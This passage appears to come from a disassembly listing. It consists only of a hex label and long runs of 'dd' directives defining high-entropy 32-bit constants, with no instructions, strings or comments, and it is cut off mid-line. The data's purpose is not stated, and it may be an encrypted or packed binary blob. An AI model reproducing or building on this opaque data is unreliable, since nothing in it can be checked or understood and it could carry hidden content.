9960DE2Dh dd 24C409h, 2DB15FB3h, 67C13042h, 7A7561C3h, 7DD6A7B1h dd 0F7E10096h, 0C91D1E21h, 845879DDh, 2FFBB19h, 0FD8958C7h dd 8EA2D62Bh, 44DD4CA5h, 0D7E6043Fh, 0BC652359h, 0A24E253Eh dd 0F111C2DEh, 2ED42B5h, 9220DFC4h, 0D9292F7Ah, 32556A32h dd 0E98FC5B9h, 5ECBBBFCh, 0F69842D7h, 0F90EC751h, 32E137AEh dd 6007FA00h, 27717903h, 0EFF65AD7h, 23914C65h, 0BDC85566h dd 9FDE98BFh, 5D69FCAFh, 0C908FA56h, 1326ADh, 19D1B74h dd 1C485721h, 3F592865h, 67D7C74Fh, 9D4778A9h, 0E9DDB05Fh dd 0B7E49A2Dh, 36F81CECh, 6EB947C0h, 5AAEB88h, 7B18D72Dh dd 5ED8265h, 69E90781h, 70496E6Bh, 56165559h, 466EB025h dd 826EA222h, 75D2E972h, 149032A9h, 0AF9129D5h, 0DB1CA7BDh dd 0F58100FBh, 0E2CD37F9h, 599D0E90h, 2EDD2F1Ch, 0C2EED744h dd 7B435A50h, 0C00ED5EAh, 181B28BEh, 2B759D50h, 0CF6163F6h dd 0D4FE0B6Bh, 94E95B76h, 21CE5291h, 0A4203C5Ah, 0C06813F5h dd 0C5ED341Fh, 5F9C4B06h, 7DF22CF8h, 5BD3E1BDh, 0D972996Fh dd 37006DBh, 6E63F9CFh, 60EA4F54h, 0BE016A5Ch, 3DDD1AC1h dd 0B52DBF2Ch, 6ABD2D40h, 454C7F1Eh, 0D5D28B89h, 0B130819Eh dd 0A6C51D45h, 103D0109h, 6DB7BB53h, 4BA0A7ABh, 0CDA9C3B4h dd 4C3CE904h, 9CDD5E09h, 441E2D6Ch, 296F0474h, 0B5C0F01Fh dd 5B51CEDCh, 4E40EC60h, 0A1F1B8C7h, 5D00E67Ah, 3D1E8535h dd 0ACCB6E32h, 5266DCD6h, 557F62FFh, 7B959894h, 2D8402C9h dd 740E0841h, 0CC7E629Ah, 9E57066Dh, 725C90Fh, 20DBEF67h dd 1A60C8BFh, 14E2BF5Ch, 3CA856C1h, 27EAA00Dh, 584F2E28h dd 0C391DC4h, 47D04DDEh, 77713F18h, 2D28230Ch, 88FD7688h dd 0F0280811h, 0D8C9456Bh, 336B3826h, 85DE9570h, 552BC272h dd 58F43EA0h, 0B2C9561Fh, 0FAD882D1h, 71C10FBEh, 54631B53h dd 3C8482B6h, 0E4C5AAA8h, 0FD6012DDh, 0A011E5E9h, 16760D6Fh dd 5F5F4528h, 3582C954h, 5AB1D87Eh, 386F4A58h, 0BDFE5235h dd 0D6F30D4Fh, 239E3079h, 8087B7C3h, 5113C709h, 795A02B5h dd 49B102E8h, 9A6DAFFh, 2E1368D9h, 0BC7998DDh, 7EC2FC0h dd 2843D307h, 0DD2F77BBh, 822C5114h, 4DD732A0h, 8102B34Ch dd 333CF3CDh, 0EB2A5456h, 8D0F29DCh, 89DB67D9h, 8B17A0AAh dd 81297A23h, 5FEC1AD1h, 6675A11Ch, 5B30174h, 58E33034h dd 8F3ED188h, 30F83FDAh, 894C3DA6h, 0C6011291h, 6441CC09h dd 42FF8A0Fh, 5E84787Fh, 8048B45Eh, 202B7A13h, 705EDE1h dd 84FBDC0Bh, 2D006764h, 3289031Bh, 421EE7EAh, 0CC820E43h dd 57C31D2Bh, 5C459ED4h, 0E14EE082h, 0C9BA4A7h, 7E0B067Ch dd 56FEF41Fh, 7642623Ah, 165CDF5h, 49A5B850h, 0A270205Ah dd 0C1292EB7h, 3933B77h, 40F2B86Fh, 1325A08h, 0E1555FCDh dd 0FFC21BA6h, 5F52A879h, 1679976h, 8A5812E8h, 685100ADh dd 6A536116h, 92E725E9h, 5F33687Fh, 6B2C80B5h, 6F603790h dd 5059CDB3h, 3028581Ch, 882FC600h, 0DCB95126h, 0DE91053Fh dd 0F1F200EFh, 5F4A0DC8h, 20212C8h, 0B72B22Ah, 288240F7h dd 9F719782h, 0DA7C488h, 30E6D366h, 0F241861Eh, 9E12D376h dd 5CB3C834h, 92CD799Dh, 426FE090h, 87D720E3h, 3CE5530Dh dd 137A1C4Ah, 0CB06E6D2h, 0EF16228h, 4E68FAh, 68565574h dd 3F5801ABh, 0E26A2495h, 84D1F78Bh, 0AF8C2498h, 0BD681255h dd 278C8942h, 0E0162726h, 4F3B6814h, 584DE354h, 9821D7Ch dd 0C3B90140h, 170A2772h, 0FD6A2AE9h, 0E2BBD220h, 9821D3ABh dd 0F701F016h, 83B33ED2h, 16588A44h, 0A87F3690h, 0C481768h dd 9B272CBEh, 0ACFEFB27h, 4B4112EAh, 2788AEA6h, 65D117B9h dd 540BB830h, 6AF92C12h, 2B51E28h, 0DDE58069h, 28DC1BE9h dd 4421752Fh, 0EB0AD137h, 6B8772F1h, 0EAF4B4E9h, 0BCF653ECh dd 82E165BDh, 3BE468DFh, 0F146C1A4h, 8DEC3A71h, 0C9F150C7h dd 0B43DAC53h, 0CEA91776h, 7613AE5Ah, 0F0020192h, 7C9E9556h dd 0EC6EE915h, 2CD13DC6h, 281227CFh, 5CA72FDDh, 0D2A608D5h dd 0CE07772Dh, 0A6E96729h, 4D4C3237h, 0E5C104C7h, 0D3C04507h dd 0B93DB03h, 562E988h, 7FA77774h, 59D586C2h, 6AFD4BB9h dd 72F67EA8h, 7B97CB78h, 2EA5A0F2h, 7040A05h, 6BE42964h dd 58188AD0h, 150C0BF6h, 0F4E83F94h, 5401FFDBh, 0EE56F69h dd 0D2080409h, 0D6552BECh, 685260E7h, 79950891h, 0FA7392D3h dd 7FE9FB05h, 0B2F757B0h, 175424BBh, 9BFD9EDDh, 740508D7h dd 9E8CBA1Ch, 44CEF3C0h, 0B6466021h, 59E2377Eh, 690B58B0h dd 70D573h, 0A32A1E16h, 5C15B240h, 5C9C9BDh, 0F81AF857h dd 9F459A4Fh, 0C35106F2h, 70A82E2Eh, 0B6F7FFE5h, 5C982A17h dd 2CD007D8h, 0C935A3CEh, 0EED11413h, 803043ADh, 0F221380Eh dd 828B95A0h, 0B2C18380h, 529C0B1Ch, 0B2041F17h, 0DCB103FCh dd 9B06EBC0h, 13C49DE1h, 15F2FEC1h, 538B5D2Ch, 88390416h dd 0D3F32FC6h, 0B05D2F67h, 0FA01B6B7h, 12E92A4Fh, 0FD1EA285h dd 7D9D463Eh, 570BD11Ch, 0E6158868h, 4F4430A8h, 0EB015FAAh dd 0EF247BB0h, 0DB9C9DD7h, 6D0BD392h, 7650D81Ah, 44514EB2h dd 8B29536Ah, 0A1F51E06h, 52F1370Ch, 1DDEB55Dh, 95B15527h dd 52FF2B37h, 2023C04Bh, 0C097D55Eh, 3105C9FCh, 81D71E7h dd 0FAAC016h, 1FE50F97h, 930C4414h, 0D19E650Bh, 15E126Ch dd 47A630A0h, 0A2FD2B67h, 8FD3E909h, 0BA88CE54h, 91B2875h dd 7351016Eh, 35040C76h, 0D98413F2h, 0C13E1EAEh, 0E94B07EBh dd 0CD062A26h, 36451ADh, 1DDF2328h, 31E945B9h, 7B48210Eh dd 80118B4h, 8CDBE9F1h, 1F0EE824h, 7BEFDD30h, 8C34876h dd 5417BAC9h, 0A786DD04h, 0B4059551h, 45B04Fh, 0B1017408h dd 72B7E931h, 0FD9FA010h, 64CFBE2Ah, 0D2ADAA5Dh, 344968CFh dd 41550919h, 446E2786h, 0C1861E9Dh, 0F80ACA25h, 3F803F6Ch dd 4AC9FCFDh, 7E0CB1EBh, 7600B116h, 2249B4F5h, 969836h dd 9BBB5302h, 3147272Ch, 45CADD62h, 90467DB1h, 0F10AEC25h dd 7F508BEBh, 0A9B09FD6h, 0BDC72BE9h, 22A7DE73h, 77172C06h dd 0F3278DE6h, 1096F7C9h, 859580Fh, 0B36BB8FDh, 0D61C452h dd 77BA00C0h, 0F413BF6Ah, 0F2745BCEh, 0EE68835Dh, 0E2AB8405h dd 714EC794h, 0F68162C0h, 0C8081620h, 8E450837h, 0C012C22Fh dd 27799169h, 0C158756Dh dd 0B5660AEAh, 0B0CB7288h, 9D681787h, 0C0B6EC44h, 0E28840B4h dd 0B6D07358h, 0CD12439h, 0B536A3BDh, 0EF4B9F70h, 0F3808CBAh dd 73249AB9h, 22A6CE01h, 79301E26h, 88082709h, 16B535F0h dd 0EE09082h, 77A3473Fh, 2B4159C9h, 41997006h, 74580C16h dd 694605BBh, 0D6D1491Fh, 0B5EEE800h, 3E50701Bh, 0DF050886h dd 77E9E799h, 0C114CCBCh, 8B10FFEFh, 0DE88033Ch, 97F0865Bh dd 93CB30E3h, 510827D9h, 68DECEB0h, 1A4E3424h, 87A30F69h dd 0E21BE9D9h, 93ECF7FCh, 0D14CFC00h, 1BE58149h, 27F0241Ch dd 0A50E8572h, 0C6918013h, 2609254Dh, 713B91E9h, 5FC5286Ah dd 0EE7D12A7h, 0F0F47399h, 0EE71CFF6h, 366C0D3Eh, 0E962F6CFh dd 0A6C95457h, 4B50015Dh, 0F04323EFh, 18B7AC96h, 826AF69Eh dd 0D0032360h, 0DFD9E5E7h, 0F18008E8h, 0FDEDC473h, 0C1C3F728h dd 2C3F58EBh, 0FBC99F07h, 69B05CFEh, 0AB57631Ah, 0A4460D1h dd 7DB75341h, 5CC7FE39h, 144A1386h, 6AB329BBh, 50400329h dd 5E2B1916h, 17BC8797h, 90E93180h, 7E5D0282h, 1DF1A735h dd 1223D825h, 0F3727C68h, 7A167C89h, 0CA1115FEh, 0C3007AB3h dd 353C5B45h, 4E261AE8h, 0E9080701h, 1C773B6Dh, 6A229572h dd 6DD35C62h, 85080E14h, 0DD00F818h, 0C84C97BDh, 0CF20B740h dd 5D3799FAh, 23E8E912h, 2FE2FDF4h, 80788F47h, 0F646BB09h dd 0B9A0068h, 807AF333h, 0F027AB3Eh, 0D794899Ch, 0E98B7051h dd 0D0D31225h, 805F7E61h, 2026C280h, 0A5399530h, 16BEC6E8h dd 0A175E950h, 41AF3E62h, 0EC6EDD3Ch, 7E55C40Dh, 0D44A8F25h dd 6CAF58A7h, 2737695h, 0C8A3D611h, 0EDEB02FDh, 0D5742B47h dd 62AF4A25h, 0B378753Bh, 0A522C59Fh, 0AEB04510h, 4B8914B5h dd 5CB20B77h, 9D0C757h, 0DF4243E9h, 0B969F9D5h, 0B74546B1h dd 5CEFAF85h, 1DD983BFh, 0BEF260DDh, 0D99FA250h, 0D9DFC93Ah dd 0DB2E33Bh, 55515409h, 0B5936857h, 0E1C10527h, 0AC6FE905h dd 5024FB1h, 0EA013F3Bh, 8D04892Eh, 0E13F1E55h, 6F1E7BE7h dd 0A6C464D3h, 7D0287F8h, 11FBC5Ah, 0B0E96C7Dh, 490E09ACh dd 85E041A4h, 977D3A30h, 0F6E88BBFh, 2290456h, 4CF0AF37h dd 9F9E3F2Dh, 0D5D5E9BEh, 62A086BEh, 802C537Ch, 0A4A54108h dd 2F946930h, 0FBB564ABh, 0E98EEAB6h, 2932EB4Ch, 2EB8C651h dd 1A8DF8B0h, 0C63F63Bh, 7EA4DE56h, 7555E227h, 7B634D59h dd 0C07E4FEAh, 38532691h, 0F7FA6176h, 0EEECF3FDh, 28A4F9B2h dd 342FE9E0h, 0E6D68F9h, 0A8578117h, 0BD3D837h, 25BE9D00h dd 1254D719h, 0FA3C8FE9h, 0FE10B9E2h, 6CAC4B78h, 0AE2DFFF4h dd 9666E92Ah, 0C26ED0FEh, 8525E951h, 7FDEC824h, 0C08B7F73h dd 327BE50Ch, 0D7510107h, 0C0806E6h, 93201482h, 69BE2F74h dd 0F46175B0h, 485DE8B1h, 833B3328h, 222D04FBh, 0C00F4ACBh dd 2C441A4Eh, 0C5295F14h, 580840A7h, 0EFA15595h, 81C25BE9h dd 1F75CE9Dh, 0B8703048h, 451313DAh, 4A2EA87Ah, 3E160EF4h dd 2F67E71h, 0FB87A7C3h, 0BAC009F6h, 0B2EE94Eh, 0E093CAAAh dd 58573C80h, 4F4A5F35h, 0C992F444h, 79F26E68h, 7255199Ah dd 392E2411h, 685150E3h, 66737227h, 0E3CA500Ch, 0B5E91A08h dd 0CE591A22h, 67C9C181h, 0AF605E79h, 0B8AB850h, 58468B6Dh dd 1C6AF5h, 984069E3h, 60053F0Bh, 224B91Eh, 72A9225h, 0EEA92E0h dd 4BCD3180h, 13F1BC59h, 0A680E7D1h, 90AC3B2Ch, 771816DCh dd 3051026Eh, 0ACDEFEF5h, 6C75614Eh, 0E8DB61F8h, 98435D76h dd 82AF7ADDh, 4B39F45Eh, 0FFBA17AAh, 0AA2AA28Ch, 4D7C55D7h dd 1364AE59h, 0AAC2EC59h, 71E377B5h, 0DB684709h, 92DF5678h dd 0E288BA5Ch, 282D9627h, 80E4F8C4h, 3B02B7BEh, 9E687874h dd 5F187713h, 749D5C4Eh, 2009E574h, 0FEE888DDh, 8243FB99h dd 0BB974A33h, 0A9A59F40h, 12317C52h, 0E03DE9F7h, 7D9D66E2h dd 765737B2h, 14E9615Ch, 68415080h, 67C57A55h, 31FB376Eh dd 6E72A94Ch, 0C52CFB9Ah, 5CE040EFh, 0CDA042ACh, 15276AB5h dd 0AC195134h, 0B9360528h, 68FD4576h, 4A0ABCC9h, 5840DAAAh dd 21F62DFDh, 7F69F719h, 40027896h, 5F48024h, 47F4C4FEh dd 306A2B55h, 2C809636h, 0C8283DDCh, 242998F4h, 0A48620EBh dd 630908F1h, 0F1060727h, 5FEF0A92h, 0DC272FD1h, 0FB78A864h dd 0E10FD07Eh, 0A04A5A1Bh, 7D03DAC0h, 0E1434AEDh, 0A40368F6h dd 12FC8456h, 0A8AFB605h, 0D3E484B0h, 76B15F25h, 7F412AE8h dd 332A7E46h, 275AC9D8h, 58DE5426h, 156F7900h, 921AE957h dd 0FAF8B0D5h, 6B9617E7h, 0EF950F0Eh, 2E757A22h, 59AB9360h dd 0AC1E5524h, 93742502h, 2FF7781Ah, 0CF64602Dh, 9208BB04h dd 0B8EE235Fh, 509C8B98h, 658702Eh, 0E2805BDAh, 1A6F182Ch dd 4DC91DDDh, 0AFDC535Eh, 5550B99Ah, 0CCC7E01h, 0F281EAD1h dd 0DC2B4FFh, 0AC4C7789h, 52BE6AA0h, 56612C0Ch, 5F6489F7h dd 2B4D29Bh, 75743660h, 3562DD00h, 4DB9EFBCh, 0C8C65E01h dd 3FB85D29h, 0B7D5DABDh, 445BFB58h, 5F50580Bh, 5C84C747h dd 0CCEFC821h, 7D4BE926h, 0F968D4C0h, 1C5DEC6Ah, 86DE875Eh dd 8D2F7D3h, 87F010D3h, 8B6E0D45h, 7B8E536Ah, 0B72BF0F1h dd 3768C558h, 0E9CF30EEh, 3BC18DA6h, 2D725CEBh, 7C69717Ah dd 0C5238735h, 40C4251Dh, 3363BE80h, 9A30FDDBh, 0B8EDE605h dd 7A9148A2h, 4865B981h, 0C9E6206Bh, 3A4D3B0Ch, 12AB0C28h dd 1E386F25h, 940E87B5h, 0C384F927h, 0DB6FC89Ch, 31FEEE26h dd 3253FF6Fh, 68C254ACh, 9051522Ah, 20BEDB7h, 7473EC1Eh dd 3563629Bh, 0C27A9F5Eh, 0D2CAD707h, 0A0E52EC1h, 132D3C7Ah dd 16212205h, 0FD92F7C5h, 0DD9E29F5h, 5C17B75Ah, 0C0AF2D58h dd 3E0D5A65h, 7B290C12h, 0F7F406FFh, 2020AD8h, 14B1BF57h dd 943DF76h, 41DF47CAh, 0B8489947h, 38FC97C3h, 0B9BBA63Dh dd 1627B887h, 81BE1304h, 755DC809h, 0A5942AA8h, 8B30C2A9h dd 90E952DEh, 0A53FDDB4h, 0FBB78521h, 901DB3BAh, 4C250486h dd 50AE71E3h, 57550887h, 0D3E2A22Bh, 0E91735CAh, 64DA4BA3h dd 52555EF8h, 0A52D79ACh, 11D8C246h, 2575948h, 247B4D38h dd 207B5E37h, 82D39707h, 0E419A10Bh, 805B6BF3h, 98F7D80Bh dd 77B50CAh, 83454BCCh, 0D587F2EDh, 0CCA6AB4Bh, 4C8D0E1Ch dd 0E9EE2941h, 0E07841A4h, 8A552CAh, 870E27B7h, 8C2CE4F3h dd 55C48D89h, 293D32A6h, 88BED4Eh, 69160E7Bh, 985EBDF0h dd 6F4A1856h, 5AD2F4C0h, 0A0CAD4BCh, 0CA52A102h, 0C2C9606Eh dd 2EEF3055h, 25075F38h, 49FF405Bh, 280056F7h, 496E37ADh dd 6836BE04h, 82AA6A6Dh, 9FDACD2h, 2F00CDB6h, 0B57BFEB1h dd 0E0EB6C57h, 0D625019Fh, 2D14FD5Ah, 29E5CE00h, 68521625h dd 0FA245DD4h, 0F82B7F80h, 6225E912h, 0F7946803h, 9D25279Ch dd 91023B7Eh, 40302415h, 7710A536h, 75D6956Ch, 1CD00820h dd 98E91F14h, 9E40D66Ch, 0BF3E4A08h, 26BC065Eh, 2208284Dh dd 57BE013Ah, 283C1F7Fh, 0E87F7371h, 1160CE25h, 8A720873h dd 58E3FE10h, 5B2F15F8h, 258D5812h, 67ECDF02h, 9A105D97h dd 0C19686E9h, 0FCA15916h, 937CEE2Eh, 0AE084EA1h, 7EB1DD74h dd 5599EC10h, 1034FB80h, 90B416Bh, 9D0CEC24h, 0D21D33BFh dd 68B1E806h, 0CD205BBAh, 3C8FF90Ch, 0CBAA4FB8h, 5E9093Ah dd 9ED2B1Ch, 637E2DEDh, 0A5BE6F45h, 605D3497h, 0DECEAE9Fh dd 265B4304h, 22513EACh, 5C4C89E0h, 2F7A5AFEh, 6CCC31Bh dd 0CF5A7D98h dd 0B35BE7B7h, 3EEC970Bh, 0A06FD041h, 17092FF6h, 0D55D51E5h dd 0F0219E90h, 0C48B3BDh, 0E07AE906h, 0DD48F720h, 668001DAh dd 0EB897446h, 1651AF74h, 0EE5FD548h, 0DC074D4h, 180AFDECh dd 6154BDE9h, 0C9955DE8h, 5564559Ah, 7BF02C68h, 4E6A48h dd 37E6295Bh, 0BD647BBh, 46617ABCh, 9446F587h, 2F34506h dd 28296EDEh, 2DB4E04Fh, 7A6C206Bh, 54773408h, 461F0523h dd 0B49A0902h, 0BA00D1C2h, 37F7125Fh, 0AF3053B5h, 0D12D4AF2h dd 0EFD7DE45h, 0FA818B65h, 0BED8A8Ch, 3135B755h, 0EAC04D92h dd 0E8620DE9h, 1962A0E3h, 0E7A03F50h, 5B8840B8h, 0E91BE7E8h dd 0B359A055h, 12DC775Dh, 0AB1C8176h, 0D0CD49F0h, 0C6400B8Ah dd 970513CEh, 0AA0244Bh, 2F455A08h, 5F043C55h, 4B42BC68h dd 5B848EFEh, 0E2265EB6h, 0E57DA70Eh, 0E1FD0D35h, 534980F0h dd 0AD761768h, 0B45B5A45h, 740B6543h, 0DE296FFCh, 250CC8D5h dd 0D12D0954h, 14E967EEh, 966E482h, 6634E07h, 0D3D2D40h dd 915FDF38h, 28EF47Fh, 0AEDE5505h, 0BF0B123Dh, 0C639E891h dd 2AC8BE03h, 21173310h, 0ECAD5EF7h, 546E0B76h, 0F7841FF1h dd 5A68D828h, 0FBFE840h, 61624890h, 0D9608A49h, 0D52CF75Dh dd 0DCDD595h, 0CC384B39h, 0E130AB5Fh, 3059C820h, 5E25F131h dd 104EB268h, 0F880DC99h, 0EA416DAh, 0E9162A05h, 0BAA1F15Bh dd 82326A30h, 0B227B090h, 0B2BF10D3h, 12AB5FB2h, 81F7EF2Dh dd 67165F94h, 0E00E90Eh, 605BD987h, 82F681CEh, 0E4A8279Dh dd 0B552B660h, 5CB011BDh, 200844C2h, 919EE0F5h, 0B5FCA3C4h dd 0EBD9274Fh, 51D3ABABh, 0F409B724h, 0C0FB7DC5h, 8868E9C1h dd 0D731268Bh, 17EC1CB8h, 0A407B4B9h, 0C1E2B278h, 811942EEh dd 6ACD4FA5h, 0F8E8D7D6h, 1820B4Ch, 0FA715CFFh, 8555DBFBh dd 0DBE0FBCDh, 0F8549772h, 8014F06Bh, 0BE82F748h, 0A995675Ch dd 159827EEh, 67AE784Bh, 0C49EB3A5h, 4FE4144Ch, 14908B98h dd 0C177402Dh, 22463F00h, 0B32AE956h, 0AB2C30C7h, 891AF75h dd 1830FA89h, 9AF2F4DAh, 0F55955BFh, 67645F45h, 0A4BEC2D5h dd 595AE982h, 0C713A884h, 82BFE7BBh, 0D456A0E9h, 0ADCC88BFh dd 5897BA00h, 12BD0E1Fh, 0AAA922F3h, 61427713h, 0D7096968h dd 35F9EF18h, 0E1DF2327h, 0C17A26E5h, 3EE494B4h, 52DC6661h dd 1BC2E00Dh, 48542B92h, 0DE02BDBAh, 113EC90h, 7B7E5DEEh dd 0FEF2DC62h, 0D684133h, 0A19D3D5Bh, 6C249171h, 0E55258CFh dd 8A30E612h, 7D5F6B08h, 0B66C3C00h, 0E92F413Bh, 300C8311h dd 0DD73BBD3h, 0AA4A04A9h, 0DD891D07h, 4454EFD2h, 35C30EC9h dd 0CFCF14D7h, 4B34663h, 0D2D91804h, 4EA9D58h, 92ACB4Fh dd 42106066h, 35E282DFh, 306F7B75h, 583CE9A7h, 17F34797h dd 62EB0589h, 0A31BB9Ch, 2C01D9A2h, 7BC76A18h, 45B65940h dd 0E4C63180h, 0D828CF06h, 0B34803E9h, 0B2BAD370h, 82FAD202h dd 0F0DF2D8Ah, 0BC494FFh, 0CED5D672h, 0BD3F96CEh, 0EAA9D325h dd 580DE177h, 0CB8ABC6Ah, 642E5722h, 0B97799CEh, 130784E7h dd 0BC9E0112h, 2A307A62h, 0F8659E13h, 0F5434D9Ch, 0FA5B7263h dd 62BA2528h, 52D2B716h, 7C81C1D5h, 953A51E8h, 0E92099F5h dd 8334ECEDh, 0FA5C0FF1h, 0CE661521h, 0E23DDB46h, 62B31D25h dd 1ED2F282h, 6A835D2Dh, 0A975DF8h, 623900EAh, 0FA01DE7Bh dd 68CFE917h, 533C7FA9h, 5D29B716h, 72763266h, 112EF8C0h dd 0DF400825h, 0A1314921h, 0EB367054h, 0EF815660h, 4EDAF6F3h dd 408DB8EEh, 9E09E617h, 804CD05Ah, 0AC0A7139h, 737EB578h dd 66058D10h, 0BD640F68h, 0FC2D773Bh, 80307179h, 52505319h dd 882640B2h, 420BB3D4h, 5199DCEAh, 34C12456h, 78E43712h dd 7409FECh, 72CD5889h, 6803E44Ah, 1827C7A6h, 0FF52A620h dd 4BB2F603h, 0AEF2D212h, 0C924747Ch, 0A40EEF2Dh, 462F1314h dd 155A3554h, 0E3F49A2Ah, 0A9EEEB05h, 0D7AC019Ch, 0F0E88316h dd 282F804h, 7E894CC8h, 0F6556172h, 82276141h, 0EC7C62E5h dd 1761F742h, 0B8567B0Eh, 0BBB0D2ACh, 0B6722372h, 0CB04437Fh dd 37453A39h, 0FE1F8A80h, 210C358Dh, 77BD008Ah, 0E92F294Ah dd 2863F650h, 21F81C4Fh, 3F3AD3B7h, 5DDBE112h, 402AA321h dd 20C20101h, 6B12D06Dh, 49AE5C91h, 64814E51h, 0EECF7994h dd 57E0067Fh, 97BC7EF8h, 0B27F66C6h, 0EE331388h, 0E8291458h dd 5D04072Dh, 0D8075568h, 574BCEEAh, 1A9D888Ch, 8A72BD22h dd 4A4E4740h, 0C2B6E92Dh, 818A7EBDh, 0B55166CCh, 0E10E9BCAh dd 1AE9E906h, 0ABD7122Ah, 5648498Bh, 0BFE05AE2h, 0F8B41A4Ch dd 4AC06163h, 2581ADDBh, 0C44FD5Fh, 0FD1CE912h, 6D351101h dd 2DC8A87Ch, 7F46045Ch, 0AAC5219Ch, 0FB4C6561h, 0BDB81F04h dd 7B8461C1h, 0E2281A05h, 0F79883h, 2F9EB824h, 7CBA6241h dd 25064816h, 3F1E3800h, 1629338Ch, 0E078E9CAh, 4D48455Ch dd 566B0568h, 0EE08C936h, 17011722h, 8956BFE3h, 0AB0CC5AFh dd 2CACAA2h, 2C200A6Ch, 48796A1h, 0BEDB2866h, 0FEA26CFDh dd 0F58891D6h, 272026DBh, 0F0BBA9F5h, 443696C1h, 804CB85Eh dd 1A15C181h, 0D778626Eh, 665FBB87h, 565F0979h, 0A4846852h dd 0E508EBADh, 98BE0F86h, 0A728C307h, 0F0F31CD2h, 82FB054Ah dd 5D45E31h, 7F44604h, 490EE9C0h, 184561CAh, 6AE07B3Bh dd 806FD89h, 814821Ch, 2833208Dh, 9C821858h, 8EC3BFCEh dd 260E164Dh, 82016FBh, 15F7E913h, 0F07F365Dh, 0FB6C4867h dd 7FBC83D2h, 6CC0D559h, 5492366h, 21E9F501h, 30ABAD27h dd 0FF2D065Dh, 16CC3F6Eh, 8576D9A4h, 0B9104068h, 0F4A696CAh dd 4E73F10h, 6ECD6853h, 27E69AAFh, 0C2C2B45Bh, 0DFAFE95Fh dd 4F2564DDh, 7A22E5BAh, 0C83E6EB5h, 3812952Fh, 3A2D4DA1h dd 6C2CFB2Bh, 8E2D49E9h, 0D6F74E0Dh, 0E09BE804h, 0B4C8FE4Ah dd 54D70DF5h, 2FAC15E6h, 25E986B4h, 0EB460DBFh, 0A513465Bh dd 50C6801h, 0B17A707Bh, 30EC3F64h, 730E9590h, 0AA131358h dd 40D10309h, 5EC9681Ch, 3C8F314Fh, 8AF63E46h, 0CDAC543Dh dd 4201AC05h, 7D4AFA58h, 0C898D343h, 3D060F05h, 87596C1Dh dd 0F61C4FEBh, 205B4CDCh, 315C4B8Eh, 0F950557Eh, 0BD522B0Fh dd 5E4340AAh, 1FD6ADCh, 40ECFB40h, 0CE9D5DE2h, 0B65AA1B4h dd 0F8EAFCE7h, 6857F0AEh, 822F4CA0h, 231846D8h, 0BD056DE8h dd 78303607h, 5DF9C8EFh, 351886C3h, 0CFB200F3h, 46F9659Ah dd 0D772874Fh, 89E9DA12h, 0EAC813FFh, 0ED9774A7h, 0B2D893B7h dd 0EAF84B60h, 8AEFF835h, 3887518Fh, 4CBD0247h, 6066470Ah dd 3B7CB48Bh, 0ED025531h, 978C5044h, 2C5C8A5Dh, 4058761Ah dd 8059CEF0h, 21734940h, 0DEB12BB5h, 7C298DC2h, 2F7B3010h dd 0C3D5C660h, 0B0D23E7h, 244E68E0h, 0E9166B46h, 0A4F81052h dd 0A2EBF5C6h, 9E685002h, 797CBF59h, 0D8F7407Fh, 60057505h dd 0F1E9BC0Fh, 0B3560A0h, 8A335E43h, 7FDE0601h, 0C1C2405Ch dd 0CA188467h, 0E9C6290Bh, 0F60352E8h, 0B70BEA97h, 5B71E0BFh dd 4DEB3387h, 23406806h, 3B4ADFB5h, 21C4B1ECh, 61350045h dd 0B87A0E72h, 5C697005h, 3016EDB8h, 29D8EE36h, 157975Ch dd 0D0283783h, 72E2288Bh, 0B982D551h, 5F318D0Dh, 0C2091F3h dd 0C45F5826h, 0C41F2102h, 0FD19551Dh, 29716057h, 0CC42B981h dd 0CDF28290h, 70AFE659h, 40E802BFh, 5FF829FCh, 7488B5FCh dd 775C176Fh, 0F093DF8Fh, 0F238804Bh, 0BAD331B4h, 0F37FFBC4h dd 0C18B9F8Ah, 9244D4D0h dd 9C0EE06h, 65ED5116h, 0AE081663h, 86A19302h, 0A0222B2Ch dd 0C0DFF589h, 95032740h, 55EB4C5Ch, 0BDE0174Ah, 0FEE8EF80h dd 5351C700h, 0D9B514B7h, 5E4B27E9h, 825C58D6h, 4B9C70FFh dd 0C58AAE5Dh, 0D9D754C9h, 3A55E961h, 680D3035h, 9F357058h dd 79E2A6F6h, 50797513h, 40F07EC2h, 78478F76h, 0D7CC3140h dd 6AF18910h, 0CA827937h, 7D534A52h, 0E9C2057Eh, 759BCA0Ah dd 724BB4D3h, 40BB2442h, 0A4E1215h, 13F2FBABh, 1F80EF68h dd 2F053FF3h, 105FB777h, 27685C17h, 8AD97436h, 0EFF876B5h dd 0C51DF24Ah, 9FE15A5Dh, 7CE7242Bh, 2259E9AAh, 5ABD5F5Fh dd 94644B07h, 6226F31h, 825F4258h, 45A83C7h, 4B8ABBDh dd 49B82E7Ah, 85D7A592h, 0E3FF01FEh, 45977A0Fh, 0F1F68129h dd 6F2C7DE9h, 6B68E390h, 48762450h, 92EF1A91h, 43D9C533h dd 0C3F7798Fh, 0DDBCCF85h, 827A165Ah, 0B1E877h, 54ABF181h dd 0C12C137h, 292747B1h, 3804E1E0h, 0C7DEE941h, 0D6C952C0h dd 8698859Bh, 2D502C67h, 4416BA8Bh, 400122AAh, 7E4E748Ch dd 0B8191883h, 340B5ACBh, 752367E9h, 54558138h, 0CA2003B0h dd 3A52951Fh, 0B050D401h, 5E0C0A6h, 0D1C29FE1h, 0DC348CEFh dd 91B04D8Eh, 7182A09h, 868FC52h, 0F709C61Dh, 0A22E00DDh dd 906E0D4Fh, 3ED105B2h, 0F1012D25h, 800805ABh, 2EE9EF11h dd 0A9FF6027h, 0C171B2ECh, 4C7DF229h, 2047A805h, 6631BC61h dd 0B013A45Ah, 45D90C65h, 0DD626474h, 0AF250217h, 0FDEC5CBBh dd 48B602F5h, 5AE91399h, 0A9FD8BA9h, 0ACC377B9h, 3E7F5677h dd 30036E2Eh, 1AF8EA30h, 25340326h, 40B31F93h, 0C59896ABh dd 520B2D38h, 57FC91DDh, 0E768E581h, 48802330h, 43713DAh dd 0FD70168Ch, 7F95B606h, 95A5BCA6h, 0DCCD8102h, 8F32EE01h dd 1E97A5A7h, 3B7E39AEh, 2FAEEB0h, 0E919DF6Ah, 8948C9C6h dd 0CC2869FBh, 28018733h, 0E9117349h, 0E96ED1ACh, 273B48A0h dd 0F7862790h, 9F5DA19h, 5224EABh, 0FFE378D5h, 0B84BAB2Eh dd 0DE37A83Bh, 1A72D38Bh, 0FAE57513h, 0EE13CA97h, 969CB2ABh dd 512DC899h, 9181093h, 0FF272988h, 0F6B7369Ch, 7968506Dh dd 3DE32D4Eh, 0BE128C16h, 4ED1BD22h, 7419CD4h, 1B0A7418h dd 2B047F5Ch, 84AA1B05h, 2DA4C2D5h, 0CCB00A89h, 